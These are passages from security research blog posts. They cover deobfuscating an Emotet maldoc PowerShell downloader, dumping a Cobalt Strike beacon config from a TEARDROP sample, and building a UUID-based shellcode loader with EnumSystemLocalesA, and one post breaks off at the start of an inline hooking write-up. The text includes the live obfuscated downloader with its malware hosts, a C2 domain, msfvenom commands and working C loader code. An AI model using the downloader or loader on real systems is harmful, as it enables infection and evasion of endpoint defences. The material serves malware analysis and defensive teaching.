SV  1VTFl0  ( [TyPe]("{8}{5}{2}{3}{4}{7}{0}{1}{6}"-f 'CepoI','NT','m.N','e','T.','ste','mANagER','sERvi','SY')  )  
$Y4zqlbx=$Y21Q + [char](33) + $R41H
$W58Q=('A9'+'2A')
(  gCi  ('varia'+'BlE'+':1'+'MZ') ).valUe::"crEA`TedI`RECt`oRY"($HOME + ((('mh'+'ER'+'_qc9')+'st'+('m'+'hESp7'+'1w9'+'e')+'m'+'hE') -RePLAcE ([Char]109+[Char]104+[Char]69),[Char]92))
$J3_A=('F'+('00'+'C'))
(dir VarIaBLE:1VTfl0  ).valuE::"securIT`YP`R`O`TOCOL" = ('Tl'+('s'+'12'))
$E_8L=('E1'+'1P')
$Bpdzy4k = ('R4'+'9D')
$C52D=('Y6'+'_L')
$Bmv3jnc=$HOME+((('jsbR_'+'qc9'+'s')+('tj'+'s')+('bS'+'p71')+'w9'+('ej'+'s')+'b')."r`EpLa`CE"(('js'+'b'),[StRing][cHAR]92))+$Bpdzy4k+'.d' + 'll'
$T21B=('U'+('5'+'_X'))
$Ndmwk_c='h' + 'tt' + 'p'
$M3_9fzw=(('x'+' ['+' sh ')+'b'+(':'+'//ori')+'gi'+'n'+'pa'+('r'+'t.')+('co'+'m/')+('wp-'+'co')+'nt'+'en'+'t/'+('acS'+'tl'+'/!x [ ')+('sh b:'+'/'+'/fab5'+'as')+'so'+'c'+('ia'+'tes.c')+('om'+'/i')+('n'+'cl')+('u'+'de')+('/scI'+'M')+('/!x [ s'+'h'+' '+'b://')+('ie-b'+'est'+'.com'+'/')+('ms'+'m')+'89'+'09'+'-'+('cus'+'to')+('m-'+'b')+'gt'+'s5'+'/e'+('os6'+'t3H/!')+'x '+('[ '+'s')+('h b://s'+'lowd'+'t')+('e'+'ch.')+'n'+'e'+'t'+('/s'+'hop'+'/w')+('LZ'+'4')+('yw/!x'+' '+'[ ')+'s'+'h'+(' '+'b://')+('ieb'+'e')+'st'+('.online/1'+'997'+'-chev'+'y-a')+'iz'+('00/'+'R')+('F'+'rTE')+'6'+'8'+('/'+'!x')+(' [ s'+'h'+' ')+('b'+'://')+('si'+'n')+'g'+('lewo'+'rld-')+'o'+'n'+('li'+'ne.')+('com/img'+'/')+('D'+'eeAt')+'/'+('!'+'x [')+' s'+('h'+' b')+(':'+'//i')+'eb'+'e'+('s'+'t.'+'org/')+('ho'+'efl')+('e'+'r-')+('bo'+'ld-z')+('i'+'fy4/')+('i'+'a/'))."REp`lace"(('x '+'['+(' s'+'h b')),([array]('nj','tr'),'yj','sc',$Ndmwk_c,'wd')[3])."Sp`Lit"($W93D + $Y4zqlbx + $A96B)
$A50J=('U9'+'8H')
foreach ($Ajau21k in $M3_9fzw){try{(&('New'+'-Objec'+'t') sYSTEM.neT.weBCLIEnt)."DOW`NL`oaDFi`LE"($Ajau21k, $Bmv3jnc)
$R13P=('A_'+'_K')
If ((.('Ge'+'t-It'+'em') $Bmv3jnc)."lEN`GTh" -ge 33770) {&('rund'+'ll3'+'2') $Bmv3jnc,('A'+('nySt'+'ri'+'n')+'g')."T`OstrinG"()
$J06U=('F'+('_'+'1V'))
break
$Z05W=(('H'+'87')+'J')}}catch{}}$S86X=('N'+('85'+'B'))
```

The decoded arguments reveal a slightly obfuscated powershell script which is difficult to fully understand in its current format. However, we can see a few string references which gives us an idea of what the script does:

* `crEATedIRECtoRY` - create a directory on the local filesystem
* `sYSTEM.neT.weBCLIEnt.DOWNLoaDFiLE` - download a file
* `rund+ll3+2` - execute rundll32 to execute a DLL

To improve the readability of the script we can clean it up a little. For a script of this size we can do it manually by breaking the script down into chunks and using a powershell console to get the de-obfuscated output after execution. After cleaning up the script and adding a little bit of formatting we get the final code below:

```c
$var_1 = ([type]('system.io.directory'))
$var_2 = ([type]("system.net.servicepointmanager")) 
( get-childitem ('variable:var_1') ).value::"createdirectory"($home + '\r_qc9st\sp71w9e\')
( dir variable:var_2 ).value::"securityprotocol" = 'tls12'
$save_location=$home+'\r_qc9st\sp71w9e\r49d.dll'

$urls = (
    "http://originpart.com/wp-content/acstl/",
    "http://fab5associates.com/include/scim/",
    "http://ie-best.com/msm8909-custom-bgts5/eos6t3h/",
    "http://slowdtech.net/shop/wlz4yw/",
    "http://iebest.online/1997-chevy-aiz00/rfrte68/",
    "http://singleworld-online.com/img/deeat/",
    "http://iebest.org/hoefler-bold-zify4/ia/"
)

foreach ($url in $urls)
{
    try{
        (&('new-object') system.net.webclient)."downloadfile"($url, $save_location)
        if ((.('get-item') $save_location)."length" -ge 33770) 
        {
            &rundll32 $save_location,'anystring'
            break
        }
    }
    catch{}
}
```

{% hint style="info" %}
The code above is an estimated structure of the original obfuscated code. It may not run correctly in its current form.
{% endhint %}

Examining the final decoded powershell script we can clearly see the payload of the maldoc. When executed the powershell script will create the directory structure `\r_qc9st\sp71w9e` under the current users home directory. It will then contact a series of hardcoded domains and attempt to download a DLL which it will store in the previously created directory under the name `r49d.dll`. Finally the script will attempt to execute the DLL using `rundll32`. This will launch the second stage of the emotet payload which will be covered in a future blog post.

## References

{% embed url="<https://app.any.run/tasks/f45ccdca-b0f2-4aff-bec0-ece90dca9331/>" %}

{% embed url="<https://github.com/decalage2/oletools>" %}

{% embed url="<https://github.com/decalage2/ViperMonkey>" %}


# Extracting the Cobalt Strike Config from a TEARDROP Loader

This blog post will cover how to use dynamic analysis to extract the underlying Cobalt Strike config from a recent TEARDROP sample

## Introduction

During the analysis of the SolarWinds supply chain compromise in 2020, a second-stage payload was identified and dubbed TEARDROP. Analysis of the discovered samples showed that TEARDROP ultimately loaded a [Cobalt Strike](https://www.cobaltstrike.com/) beacon into memory. A good overview of the SolarWinds supply chain attack and follow on compromise activity can be found here:

{% embed url="<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds>" %}

Despite wide discussion and coverage in security industry, actual samples of the TEARDROP malware were not initially made publicly accessible. However on 05-02-2021, the two TEARDROP samples referenced in the Symantec blog above were uploaded to VirusTotal.&#x20;

For the remainder of this blog post we will analyse [one of the uploaded TEARDROP samples](https://www.virustotal.com/gui/file/b820e8a2057112d0ed73bd7995201dbed79a79e13c79d4bdad81a22f12387e07/detection) with the goal of extracting the underlying Cobalt Strike config.

{% hint style="warning" %}
This blog post is not an exhaustive analysis of the TEARDROP loader and its behaviour, it focuses purely on extracting the Cobalt Strike beacon and the associated config information.&#x20;
{% endhint %}

## Analysis of the TEARDROP Sample

### Initial Analysis

Loading the sample into PEStudio we can see that we're dealing with a 64bit DLL with a lot of DLL exports:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MStdLRRCOvH5e83cpVE%2F-MSteJ4JLyIN3pIBgrPQ%2FScreenshot%202021-02-06%20at%2023.08.53.png?alt=media\&token=a5045495-fe14-44f9-80b2-a392fa36a2d0)

The high number of DLL exports makes it slightly more challenging to move onto dynamic analysis as we first need to identify which export we want to analyse. To keep this blog post digestible, we will skip this step for now and instead we can use the information provided in the Symantec report (as linked above) to give us the correct DLL export for the starting point of our analysis: `Tk_CreateImageType`

### How to Analyse a Specific DLL Export in x64dbg

Now that we know we want to analyse the `Tk_CreateImageType` export, we need to get to that location in our favourite debugging tool. This is a little more challenging to do with a DLL as we can't directly call the export using x64dbg, but fortunately it's still easy enough to achieve with the following steps:

1. Open `rundll32.exe` in x64dbg
2. Configure x64dbg to automatically break on DLL entry
3. Configure the rundll32.exe command line arguments to call our DLL and desired export
4. Breakpoint on the entrypoint of our desired DLL export and run until we get to that location

First of all we're going to open `rundll32.exe` in x64dbg (File -> Open -> `C:\Windows\System32\rundll32.exe`) and then also configure x64dbg to automatically pause on every DLL entry point (Options -> Preferences -> DLL Entry):

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MSteLAwf-_xIDc2c3IP%2F-MSyWLL_cpGPDfp7FNib%2FScreenshot%202021-02-07%20at%2022.02.26.png?alt=media\&token=72a31255-23a2-47b6-bdea-6e4268a5b0e1)

Now we can change the command line arguments passed to `rundll32.exe` so that when it's launched it will execute our DLL at the `Tk_CreateImageType` export. To do this go to File -> Change Command Line:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MSteLAwf-_xIDc2c3IP%2F-MSyXw6GegWuAMtB6aOK%2FScreenshot%202021-02-07%20at%2022.09.27.png?alt=media\&token=2d46a0b8-6b0e-45f0-a46b-18933178f241)

After hitting "OK", and restarting the debugging process (Debug -> Restart), we can now allow execution to proceed knowing that x64dbg will automatically breakpoint at the entrypoint of every DLL, including our target DLL. Keep pressing F9 (or Debug -> Run) while keeping an eye on current DLL location listed in the bottom bar of x64ddb until we see that we've hit our target DLL (teardrop.dll in this case):

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MSteLAwf-_xIDc2c3IP%2F-MSyZs35NkuEPnfiv3-1%2FScreenshot%202021-02-07%20at%2022.18.11.png?alt=media\&token=a60d3839-7f5c-44b4-a05b-d2b6078362c6)

In the screenshot above we can see that we've successfully hit `teardrop.dll` in x64dbg and specifically we are at the first TLS Callback of the DLL. Thread Local Storage (TLS) callbacks execute before the main entry point of PE files and have both legitimate and non-legitimate use-cases. Some malware samples have been known to leverage TLS Callbacks as a way to check if the process is being analysed before the main execution of the sample is reached:

{% embed url="<https://www.fireeye.com/blog/threat-research/2013/02/the-number-of-the-beast.html>" %}

For now we will move past the TLS callbacks and circle back later on if we need to dig deeper into the sample. Keep pressing F9 until we reach `DLLMain` of `teardrop.dll`:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MSyZy-VnIG682Ay_bL4%2F-MSyaViGv3NPVfBbFiqX%2FScreenshot%202021-02-07%20at%2022.25.34.png?alt=media\&token=fbdc7c2e-28e8-4376-a18e-5c985d060b7b)

Now that we're in the target DLL, all we need to do is breakpoint on the `Tk_CreateImageType` export. To do this we can go to the `Symbols` tab, select `teardrop.dll` in the left pane and then right click on the correct export in the right pane and select `Toggle Breakpoint`:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MSyZy-VnIG682Ay_bL4%2F-MSydDXviEpX22_hpwzC%2FScreenshot%202021-02-07%20at%2022.34.54.png?alt=media\&token=d189b778-cf02-472f-8575-c3d168a47339)

Finally we can once again allow debugging to continue (Debug -> Run) until the status bar in the bottom of the x64dbg window shows that we've reached the start of the `Tk_CreateImageType` export:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MSyZy-VnIG682Ay_bL4%2F-MSye5pSaeDXQlpChfgY%2FScreenshot%202021-02-07%20at%2022.41.15.png?alt=media\&token=513f15a5-070f-4d3a-9c79-20c562255b63)

{% hint style="info" %}
At this point you may want to change the preferences of x64dbg so that it no longer breaks on every DLL entry, this will make debugging easier and we can easily jump back to the CreateImageType export now that we have a breakpoint set.&#x20;
{% endhint %}

### Tracking Memory Activity

As mentioned at the start of this blog post, the main aim of the TEARDROP loader is to load a Cobalt Strike beacon into memory on the victim machine. Using this knowledge we can make an assumption that by breakpointing on memory related API calls we should hopefully be able to find the Cobalt Strike beacon being loaded into memory.

To start off this analysis route, we will set breakpoints on the following APIs:

* **VirtualAlloc** - allocate memory regions in the current process
* **VirtualProtect** - used to change the protection on a memory region
* **VirtualQuery** - gather information about a memory region in the current process
* **VirtualFree** - releases a memory region in the current process

{% hint style="warning" %}
&#x20;If suspect that a sample may do some form of process injection, we may also want to set breakpoints on APIs such as **VirtualAllocEx, OpenProcess, CreateRemoteThread, CreateProcessInternalW** etc. However for this sample these breakpoints won't be necessary.&#x20;
{% endhint %}

The easiest way to do this is to type `bp <API>` in the command window towards the bottom of the x64dbg window:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MSyeQoNyYYS_BrNHN7g%2F-MSyhcY8MeL4O9c8KZCi%2FScreenshot%202021-02-07%20at%2022.56.55.png?alt=media\&token=45b3f6e9-b210-41cf-be1d-a04df84b0900)

Now that we have our breakpoints set, the initial plan is to follow the steps below:

1. Break on calls to VirtualAlloc
2. Track the allocated memory regions returned by the API call
3. Inspect these regions as execution continues to identify interesting content being loaded into memory

In its default configuration Cobalt Strike beacons are loaded into memory in the form of a PE file, so by tracking the contents of allocated memory regions we should hopefully be able to spot the Cobalt Strike PE file being loaded into memory prior to execution.

#### Tracking the Memory Regions Allocated by VirtualAlloc

Allow the execution of the program to continue until we hit the first instance of `VirtualAlloc` being called:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MSynflrybALDMjs9tVA%2F-MSypJk9zpyUmR3TOtk_%2FScreenshot%202021-02-07%20at%2023.30.07.png?alt=media\&token=a3b84dbf-e7e0-42b4-ae36-d2926df19f56)

Inspecting the [documentation](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) for `VirtualAlloc` shows us that the return value of a successful call is the "base address of the allocated region of pages". By clicking `Debug -> Return to User Code` after the breakpoint on `VirtualAlloc`we can allow the API call to complete and the base address of the new memory region should be now be stored in the RAX register. We can follow this memory region by right clicking on the RAX register and selecting "Follow in Dump":

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MSynflrybALDMjs9tVA%2F-MSyrCadTl_Maq16q8hS%2FScreenshot%202021-02-07%20at%2023.38.08.png?alt=media\&token=bcebba32-b3ef-48a3-bf93-3ca1bbd69ca7)

After clicking on **Follow in dump** we can see the allocated memory region in the x64dbg dump window towards the bottom on the screen:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MT2f24J7iQF5r978pnj%2F-MT2zWlz60k_v2kdkUYa%2FScreenshot%202021-02-08%20at%2023.33.03.png?alt=media\&token=b302450f-f946-4107-811e-cec0c71cdb5d)

As we allow the execution of the program to continue we should see the contents of this memory region change, and hopefully we will see a PE file appear in this window relating to the Cobalt Strike beacon. If we hit subsequent `VirtualAlloc` calls, we can follow the same process as above and track the regions in the different dump tabs.

After allowing the execution of the program to continue, tracking a number of allocated memory regions, and allowing execution to continue over a number of `VirtualProtect` breakpoints, we can spot the start of a PE file in one of the memory regions:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MT2zXY8w0EPKfZEOlHY%2F-MT31-TPX6lhsul_88nF%2FScreenshot%202021-02-08%20at%2023.43.44.png?alt=media\&token=ef0b6329-d6b0-482d-afa6-f3160dec1caa)

### Dumping the PE File to Disk

Almost any time we see a PE file being loaded into memory during malware analysis, it's worth dumping it to disk and analysing it further. In this case we're hoping that this is our Cobalt Strike beacon, so to progress the analysis of this sample we can dump this region of memory to disk.&#x20;

To do this we can do the following:

1. Right click on the desired memory region in the dump tab
2. Click "Follow In Memory Map"
3. In the new window that appears, right click on the highlighted memory region
4. Click "Dump Memory to File"

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MT2zXY8w0EPKfZEOlHY%2F-MT32lLFdRQYNLMf9tvj%2FScreenshot%202021-02-08%20at%2023.49.43.png?alt=media\&token=fc24e02c-2cff-452e-831f-2a3ddd965171)

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MT2zXY8w0EPKfZEOlHY%2F-MT33l-myZ7waO9Os4WJ%2FScreenshot%202021-02-08%20at%2023.54.38.png?alt=media\&token=96aa8075-ba2d-478d-9599-3b69c285a2ba)

## Extracting the Cobalt Strike Config

Now that we have the PE file on disk, the final step is to attempt to extract the Cobalt Strike config information so that we can identify IOCs and configuration information. Although we haven't confirmed that this PE file is definitely a Cobalt Strike beacon at this point, it's a safe bet when we take into account that the Symantec blog post reported that the sample will ultimately load a beacon into memory.

Fortunately it's very easy to check by using Sentinal One's Cobalt Strike config extractor:

{% embed url="<https://github.com/Sentinel-One/CobaltStrikeParser>" %}

Inspecting the parser code we can see that it looks for one of three byte patterns in order to identify the presence of a Cobalt Strike config. If any of the byte patterns are found, then the parser will attempt to decode and print the configuration information of the Cobalt Strike beacon. The byte patterns that the parser looks for are:

```python
    START_PATTERNS = {
    3: b'\x69\x68\x69\x68\x69\x6b..\x69\x6b\x69\x68\x69\x6b..\x69\x6a',
    4: b'\x2e\x2f\x2e\x2f\x2e\x2c..\x2e\x2c\x2e\x2f\x2e\x2c..\x2e'
    }
    START_PATTERN_DECODED = b'\x00\x01\x00\x01\x00\x02..\x00\x02\x00\x01\x00\x02..\x00'
```

{% hint style="info" %}
The first two patterns reflect the two different XOR keys used in version 3 (0x69) and version 4 (0x2e).
{% endhint %}

Running the parser over the PE file that we extracted from the TEARDROP sample confirms that the file is a Cobalt Strike beacon and that we can successfully extract the config:

```python
-> % python parse_beacon_config.py teardrop_pefile.bin
BeaconType                       - HTTPS
Port                             - 443
SleepTime                        - 14400000
MaxGetSize                       - 1049217
Jitter                           - 23
MaxDNS                           - 255
C2Server                         - infinitysoftwares[.]com,/files/information_055.pdf
UserAgent                        - Not Found
HttpPostUri                      - /wp-admin/new_file.php
Malleable_C2_Instructions        - Remove 313 bytes from the end
                                   Remove 324 bytes from the beginning
                                   XOR mask w/ random key
HttpGet_Metadata                 - Not Found
HttpPost_Metadata                - Not Found
SpawnTo                          - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
PipeName                         - 
DNS_Idle                         - 208.67.220.220
DNS_Sleep                        - 0
SSH_Host                         - Not Found
SSH_Port                         - Not Found
SSH_Username                     - Not Found
SSH_Password_Plaintext           - Not Found
SSH_Password_Pubkey              - Not Found
HttpGet_Verb                     - GET
HttpPost_Verb                    - POST
HttpPostChunk                    - 0
Spawnto_x86                      - %windir%\syswow64\print.exe
Spawnto_x64                      - %windir%\sysnative\msiexec.exe
CryptoScheme                     - 0
Proxy_Config                     - Not Found
Proxy_User                       - Not Found
Proxy_Password                   - Not Found
Proxy_Behavior                   - Use IE settings
Watermark                        - 943010104
bStageCleanup                    - True
bCFGCaution                      - False
KillDate                         - 0
bProcInject_StartRWX             - False
bProcInject_UseRWX               - False
bProcInject_MinAllocSize         - 8493
ProcInject_PrependAppend_x86     - b'\x90\x90'
                                   Empty
ProcInject_PrependAppend_x64     - b'\x0f\x1f\x00'
                                   Empty
ProcInject_Execute               - ntdll:RtlUserThreadStart
                                   CreateThread
                                   NtQueueApcThread
                                   SetThreadContext
ProcInject_AllocationMethod      - NtMapViewOfSection
bUsesCookies                     - True
HostHeader                       - 
```

## References

{% embed url="<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds>" %}

{% embed url="<https://github.com/Sentinel-One/CobaltStrikeParser>" %}


# Shellcode Execution via EnumSystemLocalA

This post covers a shellcode execution technique that leverages the UuidFromStringA and EnumSystemLocalA APIs to load and execute shellcode

## Background

NCCGroup published an excellent research article covering a mostly unknown shellcode execution technique that was being used as part of campaign which is believed to related to the Lazarus Group. The shellcode execution technique uses the `UuidFromStringA` and `EnumSystemLocalA` APIs to load shellcode into memory and then execute it. This approach avoids the use of suspicious API calls such as `WriteProcessMemory` , `CreateThread` and `VirtualAlloc`.&#x20;

The full blog post from NCCGroup can be found here:

{% embed url="<https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/>" %}

{% hint style="warning" %}
The rest of this blog post is about experimenting with the technique covered by NCCGroup. For the most part there is no additional insight/information than is already covered in the references blog post.
{% endhint %}

## Technique Overview

The shellcode execution technique revolves around the following steps:

1. Allocate Target Memory via `HeapAlloc` (or VirtualAlloc directly if you wanted to)
2. Use `UuidFromStringA` to convert UUID strings their binary format and store in memory
3. Use `EnumSystemLocalA` to execute the shellcode previously loaded into memory

### HeapAlloc

`HeapAlloc` is a common API call to allocate a block of memory on the heap. My understanding of this API is that is allows you to allocate specific amount of memory on the heap, unlike the blocks of memory that you get by using the VirtualAlloc API. However, documentation suggests that `HeapAlloc` can still call `VirtualAlloc` itself if required.

### UuidFromStringA

As noted in the NCCGroup blog post this API call:

> Takes a pointer to a UUID, which will be used to return the converted binary data. By providing a pointer to an heap address, this function can be (ab)used to both decode data and write it to memory without using common functions such as `memcpy` or `WriteProcessMemory`

So by calling this API and providing a pointer to a memory address - instead of a pointer to a UUID - the resulting binary representation of the provided UUID will be stored in memory. By chaining a series of calls to this API together and providing specifically crafted UUIDs we can load our desired content (shellcode) into the specified memory region.

To examine how this works, we use the UUIDs used in the NCCGroup blog post as an example and decode them manually. We can run a quick and dirty python script to convert them into their binary representation:

```python
#!/usr/bin/python3
import sys
from uuid import UUID

# UUIDs from NCC Blog Post
uuids = [
    "6850c031-6163-636c-5459-504092741551",
    "2f728b64-768b-8b0c-760c-ad8b308b7e18",
    "1aeb50b2-60b2-2948-d465-488b32488b76",
    "768b4818-4810-48ad-8b30-488b7e300357",
    "175c8b3c-8b28-1f74-2048-01fe8b541f24",
    "172cb70f-528d-ad02-813c-0757696e4575",
    "1f748bef-481c-fe01-8b34-ae4801f799ff",
    "000000d7-0000-0000-0000-000000000000",
    ]

output_file = open("/tmp/out.bin","wb") 
for uuid in uuids:
    output_file.write(UUID(uuid).bytes_le)
        
output_file.close()
```

After running the script and opening the resulting `output.bin` file in radare2, we can see that it appears to be valid 64bit shellcode which will use the WinExec API to execute calc: &#x20;

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MS-X1dX-qM_pT7Nj5_l%2F-MS-agQgnjMeFzNDFDPw%2FScreenshot%202021-01-26%20at%2021.29.57.png?alt=media\&token=52703437-023f-451f-83bf-d4e7bf493052)

If you interested in what this shellcode does line by line you can find a commented version of the shellcode [here](https://github.com/peterferrie/win-exec-calc-shellcode/blob/master/w64-exec-calc-shellcode.asm).

### EnumSystemLocalA

Now that we know how the shellcode is loaded into memory from the UUID strings, we can look at how the `EnumSystemLocalA` API call is utilised to execute the shellcode:&#x20;

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MS-X1dX-qM_pT7Nj5_l%2F-MS-n6vR-T_z_hLB_6fA%2FScreenshot%202021-01-26%20at%2022.24.18.png?alt=media\&token=d9ff9a9f-b0ab-4929-b0b7-3e83af0f0f23)

Looking at the documentation for the API call we can see that it essentially takes a pointer to a callback function. By providing the memory address of our shellcode we can use this function execute it.&#x20;

## Testing the Technique

### Converting Shellcode to UUIDs

Now that we know how the technique works, we can pull together some PoC code. However, before we do that we need to be able to convert our desired shellcode into valid UUID strings. Fortunately this is easy to do with the following python code:

```python
#!usr/bin/python3

from uuid import UUID
import sys

if len(sys.argv) < 2:
    print("Usage: %s <shellcode_file>" % sys.argv[0])
    sys.exit(1) 

with open(sys.argv[1], "rb") as f:
    # Read in 16 bytes from our input shellcode
    chunk = f.read(16)
    while chunk:
        # If the chunk is less than 16 bytes then we pad the difference
        if len(chunk) < 16:
            padding = 16 - len(chunk)
            chunk = chunk + (b"\x90" * padding)
        print(UUID(bytes_le=chunk))
        chunk = f.read(16)
```

We can generate some example shellcode - which will execute notepad - by using `msfvenom` and then converting the shellcode into UUIDs using the python script above:

```bash
msfvenom -p windows/exec CMD=notepad -f raw -o /tmp/notepad_shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 192 bytes
Saved as: /tmp/notepad_shellcode
$ 
$ python3 /tmp/convert_to_uuid.py /tmp/notepad_shellcode 
"0082e8fc-0000-8960-e531-c0648b50308b"
"528b0c52-8b14-2872-0fb7-4a2631ffac3c"
"2c027c61-c120-0dcf-01c7-e2f252578b52"
"3c4a8b10-4c8b-7811-e348-01d1518b5920"
"498bd301-e318-493a-8b34-8b01d631ffac"
"010dcfc1-38c7-75e0-f603-7df83b7d2475"
"588b58e4-0124-66d3-8b0c-4b8b581c01d3"
"018b048b-89d0-2444-245b-5b61595a51ff"
"5a5f5fe0-128b-8deb-5d6a-018d85b20000"
"31685000-6f8b-ff87-d5bb-f0b5a25668a6"
"ff9dbd95-3cd5-7c06-0a80-fbe07505bb47"
"6a6f7213-5300-d5ff-6e6f-746570616400"
```

### PoC Code

Now that we have our shellcode in UUID format, we can write our PoC code to test:

```c
#include <iostream>
#include <Windows.h>
#include <Rpc.h>

#pragma comment(lib, "Rpcrt4.lib")

int Error(const char* msg) {
    printf("%s (%u):", msg, GetLastError());
    return 1;
}

int main()
{
    // Shellcode as array of UUIDs
    const char* uuid_arr[] =
    {
    "0082e8fc-0000-8960-e531-c0648b50308b",
    "528b0c52-8b14-2872-0fb7-4a2631ffac3c",
    "2c027c61-c120-0dcf-01c7-e2f252578b52",
    "3c4a8b10-4c8b-7811-e348-01d1518b5920",
    "498bd301-e318-493a-8b34-8b01d631ffac",
    "010dcfc1-38c7-75e0-f603-7df83b7d2475",
    "588b58e4-0124-66d3-8b0c-4b8b581c01d3",
    "018b048b-89d0-2444-245b-5b61595a51ff",
    "5a5f5fe0-128b-8deb-5d6a-018d85b20000",
    "31685000-6f8b-ff87-d5bb-f0b5a25668a6",
    "ff9dbd95-3cd5-7c06-0a80-fbe07505bb47",
    "6a6f7213-5300-d5ff-6e6f-746570616400"
    };

    // Minimum allocation size for VirtualAlloc
    SIZE_T alloc_size = 0x2000;

    // Get a handle to the current process
    int pid = GetCurrentProcessId();
    HANDLE proc_handle = OpenProcess(PROCESS_VM_OPERATION,FALSE, pid);
    if (!proc_handle)
        Error("OpenProcess Failed");
    
    // Allocate memory in current process to hold our shellcode
    // Initial allocation is PAGE_READWRITE
    void* mem = VirtualAllocEx(proc_handle, NULL, alloc_size, MEM_COMMIT, PAGE_READWRITE);
    if (!mem)
        Error("VirtualAlloc Failed");
        
    DWORD_PTR mem_ptr = (DWORD_PTR)mem;
    
    // Loop through our list of UUIDs and use UuidFromStringA 
    // to convert and load into memory
    for (int count = 0; count < sizeof(uuid_arr) / sizeof(uuid_arr[0]); count++) {
        RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuid_arr[count], (UUID*)mem_ptr);
        if (status != RPC_S_OK) {
            CloseHandle(mem);
            Error("UuidFromStringA Failed");
        }
        mem_ptr += 16;
    }
    
    MEMORY_BASIC_INFORMATION mem_info;
    
    // Get a handle to the memory region containing our shellcode
    // so we can change the page permission
    VirtualQueryEx(proc_handle, mem, &mem_info, sizeof(mem_info));
    
    // Use VirtualProtectEx to mark the memory region as executable
    if(!VirtualProtectEx(proc_handle, mem, sizeof(mem), PAGE_EXECUTE_READ, &mem_info.Protect))
        Error("VirtualProtect Failed");

    // Execute our shellcode using EnumSystemLocalesA
    if(EnumSystemLocalesA((LOCALE_ENUMPROCA)mem, 0) == 0)
        Error("EnumSystemLocalesA Failed");

    CloseHandle(mem);
}
```

{% hint style="info" %}
In the PoC code above we still use OpenProcess, VirtualAlloc and VirtualProtect which are typically viewed as suspicious. In the Lazarus samples these calls were replaced with a reference to HeapAlloc. The NCCGroup blog post contains code showing how this is done.
{% endhint %}

Compiling and executing our code shows that the technique is successful and notepad is successfully executed:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MS05K-JDdYw8bFiRzPl%2F-MS0AA0GxPIQ_nwKFy9-%2Ffinal1.gif?alt=media\&token=29c67a0e-130a-46a6-92ee-a2fbcff33178)

## References

{% embed url="<https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/>" %}


# Manually Implementing Inline Function Hooking

This post covers the general process of implementing a simple inline function hook for an x86 Win32 API.

## Introduction

Malware and EDR agents commonly hook Win32 API functions so that they can alter and/or monitor calls made to these APIs. In the case of malware, it may be beneficial for the attacker to hook functions that handle credential information (or other sensitive information) so that they can extract credentials entered by a user. Equally, EDRs will often hook APIs that are commonly abused by attackers (an example API would be VirtualAllocEx) so that they gain visibility into when a process uses the API, and what content is passed to the API with the goal of being able to detect malicious activity.&#x20;

Although there are more stable and standardised methods of implementing function hooking (such as [Microsoft Detours](https://github.com/microsoft/Detours)) it's still a valuable learning experience to look at how we can implement a hook without relying on libraries that do a lot of the heavy lifting. This blog post will cover the process of implementing an inline function hook for the [MessageBoxA](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxa) function.

{% hint style="info" %}
This blog post only covers x86 inline hooks, the process for hooking x64 functions requires a different approach
{% endhint %}

## What is an Inline Function Hook?

#### Normal Operation Flow (No Hook)

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MVmx_AkGJzT735Eg7y7%2F-MVrbL7Sbyn-ZdAwu2OD%2Funhooked.svg?alt=media\&token=1a690d0c-c9a4-4c79-a443-5b139d7e098b)

#### Hooked Operation Flow

